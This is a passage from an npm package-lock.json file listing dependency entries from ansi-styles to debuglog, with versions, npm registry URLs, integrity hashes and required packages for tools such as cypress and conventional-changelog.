"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "requires": { "color-convert": "^1.9.0" } } } }, "character-entities": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==" }, "character-entities-legacy": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==" }, "character-reference-invalid": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==" }, "chardet": { "version": "0.4.2", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", "dev": true }, "check-more-types": { "version": "2.24.0", "resolved": "https://registry.npmjs.org/check-more-types/-/check-more-types-2.24.0.tgz", "integrity": "sha1-FCD/sQ/URNz8ebQ4kbv//TKoRgA=", "dev": true }, "ci-info": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.2.0.tgz", "integrity": "sha512-dVqRX7fLUm8J6FgHJ418XuIgDLZDkYcDFTeL6TA2gt5WlIZUQrrH6EZrNClwT/H0FateUsZkGIOPRrLbP+PR9A==", "dev": true }, "circular-json": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", "integrity": "sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==", "dev": true }, "clean-stack": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", "dev": true }, "cli-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", "requires": { "restore-cursor": "^3.1.0" } }, "cli-spinners": { "version": "2.8.0", "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.8.0.tgz", "integrity": "sha512-/eG5sJcvEIwxcdYM86k5tPwn0MUzkX5YY3eImTGpJOZgVe4SdTMY14vQpcxgBzJ0wXwAYrS8E+c3uHeK4JNyzQ==" }, "cli-table3": { "version": "0.6.2", "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.2.tgz", "integrity": "sha512-QyavHCaIC80cMivimWu4aWHilIpiDpfm3hGmqAmXVL1UsnbLuBSMd21hTX6VY4ZSDSM73ESLeF8TOYId3rBTbw==", "dev": true, "requires": { "@colors/colors": "1.5.0", "string-width": "^4.2.0" } }, "cli-truncate": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", "dev": true, "requires": { "slice-ansi": "^3.0.0", "string-width": "^4.2.0" } }, "cli-width": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", "dev": true }, "cliui": { "version": "7.0.4", "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", "requires": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" }, "dependencies": { "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "requires": { "ansi-regex": "^5.0.1" } } } }, "clone": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=" }, "color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", "requires": { "color-name": "1.1.3" } }, "color-name": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, "colorette": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz", "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", "dev": true }, "combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", "requires": { "delayed-stream": "~1.0.0" } }, "commander": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", "dev": true }, "common-tags": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.0.tgz", "integrity": "sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==", "dev": true }, "compare-func": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/compare-func/-/compare-func-2.0.0.tgz", "integrity": "sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==", "requires": { "array-ify": "^1.0.0", "dot-prop": "^5.1.0" } }, "compare-versions": { "version": "4.1.4", "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-4.1.4.tgz", "integrity": "sha512-FemMreK9xNyL8gQevsdRMrvO4lFCkQP7qbuktn1q8ndcNk1+0mz7lgE7b/sNvbhVgY4w6tMN1FDp6aADjqw2rw==" }, "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" }, "concurrently": { "version": "6.5.1", "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-6.5.1.tgz", "integrity": "sha512-FlSwNpGjWQfRwPLXvJ/OgysbBxPkWpiVjy1042b0U7on7S7qwwMIILRj7WTN1mTgqa582bG6NFuScOoh6Zgdag==", "requires": { "chalk": "^4.1.0", "date-fns": "^2.16.1", "lodash": "^4.17.21", "rxjs": "^6.6.3", "spawn-command": "^0.0.2-1", "supports-color": "^8.1.0", "tree-kill": "^1.2.2", "yargs": "^16.2.0" }, "dependencies": { "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "dependencies": { "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } } } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "rxjs": { "version": "6.6.7", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", "requires": { "tslib": "^1.9.0" } }, "supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "requires": { "has-flag": "^4.0.0" } } } }, "consola": { "version": "2.15.3", "resolved": "https://registry.npmjs.org/consola/-/consola-2.15.3.tgz", "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" }, "console.table": { "version": "0.10.0", "resolved": "https://registry.npmjs.org/console.table/-/console.table-0.10.0.tgz", "integrity": "sha1-CRcCVYiHW+/XDPLv9L7yxuLXXQQ=", "requires": { "easy-table": "1.1.0" } }, "contains-path": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/contains-path/-/contains-path-0.1.0.tgz", "integrity": "sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=", "dev": true }, "conventional-changelog": { "version": "3.1.25", "resolved": "https://registry.npmjs.org/conventional-changelog/-/conventional-changelog-3.1.25.tgz", "integrity": "sha512-ryhi3fd1mKf3fSjbLXOfK2D06YwKNic1nC9mWqybBHdObPd8KJ2vjaXZfYj1U23t+V8T8n0d7gwnc9XbIdFbyQ==", "requires": { "conventional-changelog-angular": "^5.0.12", "conventional-changelog-atom": "^2.0.8", "conventional-changelog-codemirror": "^2.0.8", "conventional-changelog-conventionalcommits": "^4.5.0", "conventional-changelog-core": "^4.2.1", "conventional-changelog-ember": "^2.0.9", "conventional-changelog-eslint": "^3.0.9", "conventional-changelog-express": "^2.0.6", "conventional-changelog-jquery": "^3.0.11", "conventional-changelog-jshint": "^2.0.9", "conventional-changelog-preset-loader": "^2.3.4" } }, "conventional-changelog-angular": { "version": "5.0.13", "resolved": "https://registry.npmjs.org/conventional-changelog-angular/-/conventional-changelog-angular-5.0.13.tgz", "integrity": "sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==", "requires": { "compare-func": "^2.0.0", "q": "^1.5.1" } }, "conventional-changelog-atom": { "version": "2.0.8", "resolved": "https://registry.npmjs.org/conventional-changelog-atom/-/conventional-changelog-atom-2.0.8.tgz", "integrity": "sha512-xo6v46icsFTK3bb7dY/8m2qvc8sZemRgdqLb/bjpBsH2UyOS8rKNTgcb5025Hri6IpANPApbXMg15QLb1LJpBw==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-cli": { "version": "2.2.2", "resolved": "https://registry.npmjs.org/conventional-changelog-cli/-/conventional-changelog-cli-2.2.2.tgz", "integrity": "sha512-8grMV5Jo8S0kP3yoMeJxV2P5R6VJOqK72IiSV9t/4H5r/HiRqEBQ83bYGuz4Yzfdj4bjaAEhZN/FFbsFXr5bOA==", "requires": { "add-stream": "^1.0.0", "conventional-changelog": "^3.1.24", "lodash": "^4.17.15", "meow": "^8.0.0", "tempfile": "^3.0.0" } }, "conventional-changelog-codemirror": { "version": "2.0.8", "resolved": "https://registry.npmjs.org/conventional-changelog-codemirror/-/conventional-changelog-codemirror-2.0.8.tgz", "integrity": "sha512-z5DAsn3uj1Vfp7po3gpt2Boc+Bdwmw2++ZHa5Ak9k0UKsYAO5mH1UBTN0qSCuJZREIhX6WU4E1p3IW2oRCNzQw==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-conventionalcommits": { "version": "4.6.3", "resolved": "https://registry.npmjs.org/conventional-changelog-conventionalcommits/-/conventional-changelog-conventionalcommits-4.6.3.tgz", "integrity": "sha512-LTTQV4fwOM4oLPad317V/QNQ1FY4Hju5qeBIM1uTHbrnCE+Eg4CdRZ3gO2pUeR+tzWdp80M2j3qFFEDWVqOV4g==", "requires": { "compare-func": "^2.0.0", "lodash": "^4.17.15", "q": "^1.5.1" } }, "conventional-changelog-core": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/conventional-changelog-core/-/conventional-changelog-core-4.2.4.tgz", "integrity": "sha512-gDVS+zVJHE2v4SLc6B0sLsPiloR0ygU7HaDW14aNJE1v4SlqJPILPl/aJC7YdtRE4CybBf8gDwObBvKha8Xlyg==", "requires": { "add-stream": "^1.0.0", "conventional-changelog-writer": "^5.0.0", "conventional-commits-parser": "^3.2.0", "dateformat": "^3.0.0", "get-pkg-repo": "^4.0.0", "git-raw-commits": "^2.0.8", "git-remote-origin-url": "^2.0.0", "git-semver-tags": "^4.1.1", "lodash": "^4.17.15", "normalize-package-data": "^3.0.0", "q": "^1.5.1", "read-pkg": "^3.0.0", "read-pkg-up": "^3.0.0", "through2": "^4.0.0" }, "dependencies": { "hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "requires": { "lru-cache": "^6.0.0" } }, "normalize-package-data": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", "requires": { "hosted-git-info": "^4.0.1", "is-core-module": "^2.5.0", "semver": "^7.3.4", "validate-npm-package-license": "^3.0.1" } }, "read-pkg-up": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-3.0.0.tgz", "integrity": "sha512-YFzFrVvpC6frF1sz8psoHDBGF7fLPc+llq/8NB43oagqWkx8ar5zYtsTORtOjw9W2RHLpWP+zTWwBvf1bCmcSw==", "requires": { "find-up": "^2.0.0", "read-pkg": "^3.0.0" } }, "semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "requires": { "lru-cache": "^6.0.0" } } } }, "conventional-changelog-ember": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-ember/-/conventional-changelog-ember-2.0.9.tgz", "integrity": "sha512-ulzIReoZEvZCBDhcNYfDIsLTHzYHc7awh+eI44ZtV5cx6LVxLlVtEmcO+2/kGIHGtw+qVabJYjdI5cJOQgXh1A==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-eslint": { "version": "3.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-eslint/-/conventional-changelog-eslint-3.0.9.tgz", "integrity": "sha512-6NpUCMgU8qmWmyAMSZO5NrRd7rTgErjrm4VASam2u5jrZS0n38V7Y9CzTtLT2qwz5xEChDR4BduoWIr8TfwvXA==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-express": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/conventional-changelog-express/-/conventional-changelog-express-2.0.6.tgz", "integrity": "sha512-SDez2f3iVJw6V563O3pRtNwXtQaSmEfTCaTBPCqn0oG0mfkq0rX4hHBq5P7De2MncoRixrALj3u3oQsNK+Q0pQ==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-jquery": { "version": "3.0.11", "resolved": "https://registry.npmjs.org/conventional-changelog-jquery/-/conventional-changelog-jquery-3.0.11.tgz", "integrity": "sha512-x8AWz5/Td55F7+o/9LQ6cQIPwrCjfJQ5Zmfqi8thwUEKHstEn4kTIofXub7plf1xvFA2TqhZlq7fy5OmV6BOMw==", "requires": { "q": "^1.5.1" } }, "conventional-changelog-jshint": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-jshint/-/conventional-changelog-jshint-2.0.9.tgz", "integrity": "sha512-wMLdaIzq6TNnMHMy31hql02OEQ8nCQfExw1SE0hYL5KvU+JCTuPaDO+7JiogGT2gJAxiUGATdtYYfh+nT+6riA==", "requires": { "compare-func": "^2.0.0", "q": "^1.5.1" } }, "conventional-changelog-preset-loader": { "version": "2.3.4", "resolved": "https://registry.npmjs.org/conventional-changelog-preset-loader/-/conventional-changelog-preset-loader-2.3.4.tgz", "integrity": "sha512-GEKRWkrSAZeTq5+YjUZOYxdHq+ci4dNwHvpaBC3+ENalzFWuCWa9EZXSuZBpkr72sMdKB+1fyDV4takK1Lf58g==" }, "conventional-changelog-writer": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/conventional-changelog-writer/-/conventional-changelog-writer-5.0.1.tgz", "integrity": "sha512-5WsuKUfxW7suLblAbFnxAcrvf6r+0b7GvNaWUwUIk0bXMnENP/PEieGKVUQrjPqwPT4o3EPAASBXiY6iHooLOQ==", "requires": { "conventional-commits-filter": "^2.0.7", "dateformat": "^3.0.0", "handlebars": "^4.7.7", "json-stringify-safe": "^5.0.1", "lodash": "^4.17.15", "meow": "^8.0.0", "semver": "^6.0.0", "split": "^1.0.0", "through2": "^4.0.0" }, "dependencies": { "semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" } } }, "conventional-commits-filter": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/conventional-commits-filter/-/conventional-commits-filter-2.0.7.tgz", "integrity": "sha512-ASS9SamOP4TbCClsRHxIHXRfcGCnIoQqkvAzCSbZzTFLfcTqJVugB0agRgsEELsqaeWgsXv513eS116wnlSSPA==", "requires": { "lodash.ismatch": "^4.4.0", "modify-values": "^1.0.0" } }, "conventional-commits-parser": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/conventional-commits-parser/-/conventional-commits-parser-3.2.4.tgz", "integrity": "sha512-nK7sAtfi+QXbxHCYfhpZsfRtaitZLIA6889kFIouLvz6repszQDgxBu7wf2WbU+Dco7sAnNCJYERCwt54WPC2Q==", "requires": { "is-text-path": "^1.0.1", "JSONStream": "^1.0.4", "lodash": "^4.17.15", "meow": "^8.0.0", "split2": "^3.0.0", "through2": "^4.0.0" } }, "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, "cross-spawn": { "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { "nice-try": "^1.0.4", "path-key": "^2.0.1", "semver": "^5.5.0", "shebang-command": "^1.2.0", "which": "^1.2.9" } }, "cypress": { "version": "9.7.0", "resolved": "https://registry.npmjs.org/cypress/-/cypress-9.7.0.tgz", "integrity": "sha512-+1EE1nuuuwIt/N1KXRR2iWHU+OiIt7H28jJDyyI4tiUftId/DrXYEwoDa5+kH2pki1zxnA0r6HrUGHV5eLbF5Q==", "dev": true, "requires": { "@cypress/request": "^2.88.10", "@cypress/xvfb": "^1.2.4", "@types/node": "^14.14.31", "@types/sinonjs__fake-timers": "8.1.1", "@types/sizzle": "^2.3.2", "arch": "^2.2.0", "blob-util": "^2.0.2", "bluebird": "^3.7.2", "buffer": "^5.6.0", "cachedir": "^2.3.0", "chalk": "^4.1.0", "check-more-types": "^2.24.0", "cli-cursor": "^3.1.0", "cli-table3": "~0.6.1", "commander": "^5.1.0", "common-tags": "^1.8.0", "dayjs": "^1.10.4", "debug": "^4.3.2", "enquirer": "^2.3.6", "eventemitter2": "^6.4.3", "execa": "4.1.0", "executable": "^4.1.1", "extract-zip": "2.0.1", "figures": "^3.2.0", "fs-extra": "^9.1.0", "getos": "^3.2.1", "is-ci": "^3.0.0", "is-installed-globally": "~0.4.0", "lazy-ass": "^1.6.0", "listr2": "^3.8.3", "lodash": "^4.17.21", "log-symbols": "^4.0.0", "minimist": "^1.2.6", "ospath": "^1.2.2", "pretty-bytes": "^5.6.0", "proxy-from-env": "1.0.0", "request-progress": "^3.0.0", "semver": "^7.3.2", "supports-color": "^8.1.1", "tmp": "~0.2.1", "untildify": "^4.0.0", "yauzl": "^2.10.0" }, "dependencies": { "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "dependencies": { "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dev": true, "requires": { "has-flag": "^4.0.0" } } } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, "debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { "ms": "2.1.2" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, "rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "dev": true, "requires": { "glob": "^7.1.3" } }, "semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "requires": { "lru-cache": "^6.0.0" } }, "supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "requires": { "has-flag": "^4.0.0" } }, "tmp": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", "dev": true, "requires": { "rimraf": "^3.0.0" } } } }, "dargs": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/dargs/-/dargs-7.0.0.tgz", "integrity": "sha512-2iy1EkLdlBzQGvbweYRFxmFath8+K7+AKB0TlhHWkNuH+TmovaMH/Wp7V7R4u7f4SnX3OgLsU9t1NI9ioDnUpg==" }, "dashdash": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", "dev": true, "requires": { "assert-plus": "^1.0.0" } }, "date-fns": { "version": "2.28.0", "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.28.0.tgz", "integrity": "sha512-8d35hViGYx/QH0icHYCeLmsLmMUheMmTyV9Fcm6gvNwdw31yXXH+O85sOBJ+OLnLQMKZowvpKb6FgMIQjcpvQw==" }, "dateformat": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-3.0.3.tgz", "integrity": "sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==" }, "dayjs": { "version": "1.10.6", "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.10.6.tgz", "integrity": "sha512-AztC/IOW4L1Q41A86phW5Thhcrco3xuAA+YX/BLpLWWjRcTj5TOt/QImBLmCKlrF7u7k47arTnOyL6GnbG8Hvw==", "dev": true }, "debug": { "version": "3.2.6", "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { "ms": "^2.1.1" } }, "debug-log": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/debug-log/-/debug-log-1.0.1.tgz", "integrity": "sha1-IwdjLUwEOCuN+KMvcLiVBG1SdF8=", "dev": true }, "debuglog": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/debuglog/-/debuglog-1.0.1.tgz", "integrity": 